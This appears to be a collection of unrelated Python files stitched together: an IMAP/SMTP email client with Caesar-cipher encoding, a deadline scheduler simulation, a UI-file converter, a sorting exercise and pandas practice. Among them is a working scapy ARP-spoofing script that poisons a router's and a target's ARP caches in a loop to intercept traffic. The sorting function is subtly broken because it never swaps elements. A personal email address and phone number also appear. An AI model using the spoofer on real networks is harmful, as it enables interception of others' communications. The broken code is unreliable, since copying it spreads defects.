        smtp_obj.sendmail(user_name, email_obj.receivers, message.as_string())
        smtp_obj.quit()
        print('Send successfully!')
    except:
        print('Assert error! Please check the server setting...')

def receive_email(try_num, receive_num = 1):
    """Receive receive_num email(s) from the valid user address.
       And determine to decode each part of it or not.

    Parameters
    ----------
    try_num : int
        The numeber of times attempted to decode and get the correct information.
    receive_num : int, optional
        The number of email wanted to receive. default = 1

    Sources
    -------
        I cited the following codes from the below link. I have modified most of
        them and deleted the 'HTML' and attachment conditionals since I think it
        is not the key point in this project.
        https://www.thepythoncode.com/article/reading-emails-in-python
    """

    email_obj = MyEmail()

    # Check the input username
    flag1 = False
    while not flag1:
        print('Please enter the username: ')
        user_name = input()
        flag1 = email_obj.user_check(user_name)

    # Create an IMAP4 class with SSL and login
    imap_obj = imaplib.IMAP4_SSL(email_obj.receive_server)
    imap_obj.login(email_obj.user_name, email_obj.app_password)

    # Get information from the Index box
    status, messages = imap_obj.select('INBOX')
    messages = int(messages[0])

    for i in range(messages, messages - receive_num, -1):
        # Fetch the email message by ID
        res, msg = imap_obj.fetch(str(i), '(RFC822)')

        for response in msg:
            if isinstance(response, tuple):
                # Parse a bytes email into a message object
                msg = email.message_from_bytes(response[1])

                # Decode the email subject
                subject, encoding_1 = decode_header(msg['Subject'])[0]
                # Decode email sender
                from_sender, encoding_2 = decode_header(msg.get('From'))[0]

                # If subject is a bytes, decode to str
                if isinstance(subject, bytes):
                    subject = subject.decode(encoding_1)
                    # From 1 to try_num, try try_num times to decode
                    # each time, the offset_num equals the actual try_num value
                    # in the interval [1, try_num]
                    for offset_num in range(1, try_num + 1):
                        decoded_subject = decode_email(subject, offset_num)
                        print('Subject:', decoded_subject)
                    print()

                # If from_sender is a bytes, decode to str
                elif isinstance(from_sender, bytes):
                    from_sender = from_sender.decode(encoding_2)
                    print('From:', from_sender)
                    print()

                # Else, the email is a plain text version
                else:
                    for offset_num in range(1, try_num + 1):
                        decoded_subject = decode_email(subject, offset_num)
                        print('Subject:', decoded_subject)
                    print()
                    print('From:', from_sender)
                    print()

                split_boundary()

                # If the email message is multipart
                if msg.is_multipart():
                    # Iterate over email parts
                    for part in msg.walk():
                        # Extract content type of email
                        content_type = part.get_content_type()
                        content_disposition = str(part.get('Content-Disposition'))
                        try:
                            # Get the email body
                            body = part.get_payload(decode = True).decode()
                        except:
                            pass

                        if content_type == 'text/plain' and 'attachment' not in content_disposition:
                            # Print text/plain emails and skip attachments
                            for offset_num in range(1, 1 + offset_num):
                                decoded_body = decode_email(body, offset_num)
                                print('Content: \n', decoded_body)
                            print()
                else:
                    # Extract content type of email
                    content_type = msg.get_content_type()
                    # Get the email body
                    body = msg.get_payload(decode = True).decode()

                    if content_type == 'text/plain':
                        # Print only text email parts
                        for offset_num in range(1, 1 + offset_num):
                            decoded_body = decode_email(body, offset_num)
                            print('Content: \n', decoded_body)
                        print()

                split_boundary()
    # Close the connection and logout
    imap_obj.close()
    imap_obj.logout()

def encode_email(input_string, offset_num, direction = 'right'):
    """Encode the input email in terms of Caesar cipher algorithm.

    Notes
    -----
    If input 'no', then the input information will not be encoded.

    Else, encode the `input_string` according to particular offset
    and shift direction. For letters, using the Caesar cipher algorithm;
    for other characters, simply shift based on the code point.

    Parameters
    ----------
    input_string : str
        The string wanted to be encoded.
    offset_num : int
        The number that each character in the string to shift.
    direction : str, optional
        The direction that characters will shift. default = 'right'

    Returns
    -------
    output_string : str
        The encoded or not encoded string we got.
    """

    output_string = ''

    # Choose to encode or not
    determine = input('Encode this or not? Enter yes or no: ')
    print()

    if determine == 'no':
        output_string = input_string

    elif determine == 'yes':
        # Right shift
        if direction == 'right':
            for char in input_string:
                code_point = ord(char)
                # Lowercase letters
                if ord('a') <= code_point <= ord('z'):
                    output_string += chr((code_point + offset_num - ord('a')) % 26 + ord('a'))
                # Uppercase letters
                # Z + 1 -> A
                # (90 + 1 - 65) % 26 + 65 = 0 + 65
                elif ord('A') <= code_point <= ord('Z'):
                    output_string += chr((code_point + offset_num - ord('A')) % 26 + ord('A'))
                # Other characters
                else:
                    output_string += chr(code_point + offset_num)
        # Left shift
        elif direction == 'left':
            for char in input_string:
                code_point = ord(char)
                if ord('a') <= code_point <= ord('z'):
                    # A - 1 -> Z
                    # (65 - 1 - 65 + 26) % 26 + 65 = 25 + 65
                    # B - 1 -> A
                    # (66 - 1 - 65 + 26) % 26 + 65 =  0 + 65
                    output_string += chr((code_point - offset_num - ord('a') + 26) % 26 + ord('a'))
                elif ord('A') <= code_point <= ord('Z'):
                    output_string += chr((code_point - offset_num - ord('A') + 26) % 26 + ord('A'))
                else:
                    output_string += chr(code_point - offset_num)

    return output_string

def decode_email(input_string, offset_num, direction = 'left'):
    """Decode the input email in terms of Caesar cipher algorithm.

    Notes
    -----
    If input 'no', then the input information will not be decoded.

    Else, decode the `input_string` according to particular offset
    and shift direction. For letters, using the Caesar cipher algorithm;
    for other characters, simply shift based on the code point.

    Parameters
    ----------
    input_string : str
        The string wanted to be decoded.
    offset_num : int
        The number that each character in the string to shift.
    direction : str, optional
        The direction that characters will shift. default = 'left'

    Returns
    -------
    output_string : str
        The decoded or not decoded string we got.
    """

    output_string = ''
    # Choose to decode or not
    determine = input('Decode this or not? Enter yes or no: ')

    if determine == 'no':
        output_string = input_string

    elif determine == 'yes':
        # Left shift
        if direction == 'left':
            for char in input_string:
                code_point = ord(char)
                if ord('a') <= code_point <= ord('z'):
                    # A - 1 -> Z
                    # (65 - 1 - 65 + 26) % 26 + 65 = 25 + 65
                    # B - 1 -> A
                    # (66 - 1 - 65 + 26) % 26 + 65 =  0 + 65
                    output_string += chr((code_point - offset_num - ord('a') + 26) % 26 + ord('a'))
                elif ord('A') <= code_point <= ord('Z'):
                    output_string += chr((code_point - offset_num - ord('A') + 26) % 26 + ord('A'))
                else:
                    output_string += chr(code_point - offset_num)
        # Right shift
        elif direction == 'right':
            for char in input_string:
                code_point = ord(char)
                # Lowercase letters
                if ord('a') <= code_point <= ord('z'):
                    output_string += chr((code_point + offset_num - ord('a')) % 26 + ord('a'))
                # Uppercase letters
                # Z + 1 -> A
                # (90 + 1 - 65) % 26 + 65 = 0 + 65
                elif ord('A') <= code_point <= ord('Z'):
                    output_string += chr((code_point + offset_num - ord('A')) % 26 + ord('A'))
                # Other characters
                else:
                    output_string += chr(code_point + offset_num)

    return output_string


from link import node
from link import linked_list
import time
class task:
	def __init__(self,n,rd,cpu):
		self.n=n
		self.rd=rd
		self.cpu=cpu

	def create_job(self,n,at):
		return job(n,self.n,self.rd,self.cpu,at)

class job:
	def __init__(self,no,task_no,rd,cpu,at):
		self.no=no
		self.task_no=task_no
		self.rd=rd
		self.cpu=cpu
		self.cpucpy=cpu
		self.at=at
		self.abd=at+rd
		self.finish=-1

def feasiblity(jobs):
	sum=0
	for i in jobs:
		sum=sum+float(i.cpu/i.abd)
	return sum

def main():
	t=0
	#task_types=[task(0,5,2),task(1,8,3),task(2,15,5),task(3,20,6),task(4,22,5)]
	#job_table=[task_types[0].create_job(0,0),task_types[1].create_job(1,0),task_types[3].create_job(2,1),task_types[2].create_job(3,2),task_types[0].create_job(4,3),task_types[4].create_job(5,5),task_types[1].create_job(6,6)]
	#task_types=[task(0,5,1),task(1,10,3),task(2,15,2),task(3,20,5),task(4,25,5)]
	#job_table=[task_types[0].create_job(0,0),task_types[1].create_job(1,0),task_types[3].create_job(2,1),task_types[2].create_job(3,2),task_types[0].create_job(4,3),task_types[4].create_job(5,5),task_types[1].create_job(6,6),task_types[2].create_job(7,7),task_types[0].create_job(8,8),task_types[4].create_job(9,9)]
	task_types=[task(0,2,1),task(1,6,3),task(2,8,2),task(3,10,5),task(4,15,5)]
	job_table=[task_types[1].create_job(0,0),task_types[0].create_job(1,1),task_types[3].create_job(2,2),task_types[2].create_job(3,3),task_types[2].create_job(4,3),task_types[4].create_job(5,5)]
	copy_table=job_table[:]
	ready_queue=linked_list()
	processor_list=[None for i in range(3)]
	#print("Feasiblity = ",feasiblity(job_table))
	#ti=time.time()
	while not isEmpty(ready_queue) or job_table !=[] or not isEmpty_P(processor_list):
		if t == 0:
			while job_table != [] and job_table[0].at==0:
				job = job_table[0]
				ready_queue.append(job)
				job_table.pop(0)
			for i in range(len(processor_list)):
				#print("ready queue",isEmpty(ready_queue))
				if isEmpty(ready_queue):
					break
				processor_list[i]=ready_queue.remove()
				#print(processor_list)
			#print(processor_list)ready_queue.print()
		elif job_table!=[] and job_table[0].at==t:
			while job_table!=[] and job_table[0].at==t:
				job=job_table.pop(0)
				index=find_process(processor_list)
				if index != None:
					temp=node(job)
					processor_list[index]=temp
				else:
					index=max_process(processor_list)
					if job.abd<processor_list[index].val.abd:
						temp=processor_list[index].val
						processor_list[index].val=job
						if temp.cpu>0:
							ready_queue.insert_head(temp)
					else:
						pos=ready_queue.findpos(job) #implement this
		print("at time ",t)
		if not isEmpty_P(processor_list):
			for i  in range(len(processor_list)):
				if processor_list[i] != None and processor_list[i].val.cpu>0:
					print(processor_list[i].val.no)
					processor_list[i].val.cpu=processor_list[i].val.cpu-1
					if processor_list[i].val.cpu==0:
						processor_list[i].val.finish=t+1
				else:
					if not isEmpty(ready_queue):
						processor_list[i]=ready_queue.remove()
						processor_list[i].val.cpu=processor_list[i].val.cpu-1
						print(processor_list[i].val.no)
					else:
						processor_list[i]=None
		t=t+1
	#print("Time taken to Execute : ",time.time()-ti," seconds")
	table(copy_table)

def isEmpty(ready_queue):
	if ready_queue.head==None:
		return True
	else:
		return False

def isEmpty_P(processor_list):
	for i in processor_list:
		if i != None:
			return False
	return True

def find_process(processor_list):
	for i in range(len(processor_list)):
		if processor_list[i] == None:
			return i
	return None

def max_process(processor_list):
	maxx=processor_list[0].val.cpu
	index=0
	for i in range(len(processor_list)):
		if processor_list[i].val.cpu > maxx:
			index=i
			maxx=processor_list[i].val.cpu
	return index

def table(job_table):
	print("\nJob-Table :\n")
	print("Job No.\t Arrival-Time  CPU-Time  Absolute-Deadline  Finish-Time")
	for i in job_table:
		print("  ",i.no,"\t     ",i.at,"\t ",i.cpucpy,"\t\t",i.abd,"\t\t",i.finish)

main()


import scapy.all as scapy
import sys
import time

def get_mac_address(ipaddr):
	broadcast_layer = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
	arp_layer = scapy.ARP(pdst=ipaddr)
	# Basically we are sending a broadcast msg to the n/w asking for the MAC address of the given IP.
	get_mac_packet = broadcast_layer/arp_layer
	answer = scapy.srp(get_mac_packet, timeout=2, verbose=False)[0] # sending the packet & recieving answers.
	return answer[0][1].hwsrc # extracting MAC address from the answer
	# This is how we grab the MAC address, refer the networking screenshot for better understanding.

def spoof(router_ip, target_ip, router_mac, target_mac):
	packet1 = scapy.ARP(op=2, hwdst=router_mac, pdst=router_ip, psrc=target_ip) # Sppofs the router. Normally the psrc will be the Kali IP (ip addr of machine that's sending the packet), to make this malicious & we specify the psrc as the target ip, so that we can send this packet to the router & make it seems it came from the target(Win 10) machine.
	packet2 = scapy.ARP(op=2, hwdst=target_mac, pdst=target_ip, psrc=router_ip) # Spoofs the target Machine. Same concept applies here too, we want to send this packet to the Win 10 machine & make it seem it came from the router.
	scapy.send(packet1)
	scapy.send(packet2)

def main():
	if len(sys.argv) != 3:
		print(f" Usage : {sys.argv[0]} <router_ip> <target_ip>")
	else:
		router_ip = str(sys.argv[1])
		target_ip = str(sys.argv[2])

		target_mac = str(get_mac_address(target_ip))
		router_mac = str(get_mac_address(router_ip))

		print(router_mac)
		print(target_mac)

		try:
			while True: # The mac addresses will be automatically reset after a few seconds, so we use infinite loop.
				spoof(router_ip, target_ip, router_mac, target_mac)
				time.sleep(2)
		except KeyboardInterrupt:
			print("Closing the ARP Spoofer!...")
			exit(0)

if __name__ == "__main__":
    main()


# -*- coding: utf-8 -*-
# @Time : 2022/8/11 16:31
# @Author : tiger

import os
import os.path

dir = './'

def list_ui_file():
    list = []
    files = os.listdir(dir)
    for filename in files:
        if os.path.splitext(filename)[1] == '.ui':
            list.append(filename)

    return list

def trans_pyfile(filename):
    return os.path.splitext(filename)[0] + '.py'

def run_main():
    list = list_ui_file()
    for ui_file in list:
        pyfile = trans_pyfile(ui_file)
        cmd = 'pyuic5 -o {pyfile} {ui_file}'.format(pyfile=pyfile, ui_file=ui_file)
        os.system(cmd)

if __name__ == '__main__':
    run_main()


from random import randint

def insertionSort(array):
    for i in range(len(array)):
        for j in range(len(array) - 1):
            if array[j] > array[j + 1]:
                array[j + 1]
                array[j] = array[j]
                array[j + 1]
    return array

a1 = [3, 2, 5, 17, 1]

print(insertionSort(a1))

a2 = []
a2.append(randint(0, 3000))

i = 1
while i <= 300:
    n = randint(0, 3000)
    if n < a2[i - 1] or n > a2[i-1]:
        a2.append(n)
    else:
        i = i-1

print("\n")
print(a2)
print(insertionSort(a2))


#1
import pandas as pd

d = {'Name':pd.Series(['Ishita Narta','abc']),
     'Age':pd.Series([21,33]),
     'Mail_id':pd.Series(['ishitanarta30@gmail.com','abc@gmail.com']),
     'Phone_no':pd.Series([7807841555,981457268])}
df = pd.DataFrame(d)
print(df)

#2
import pandas as pd
df = pd.read_csv("https://raw.githubusercontent.com/Shreyas3108/Weather/master/weather.csv")
a = df.head(5)
print(a)

b = df.head(10)
print(b)

c = df.describe()
print(c)

d = df.tail(5)
print(d)

second_col = df.iloc[:,2]
e = second_col.describe()
print(e)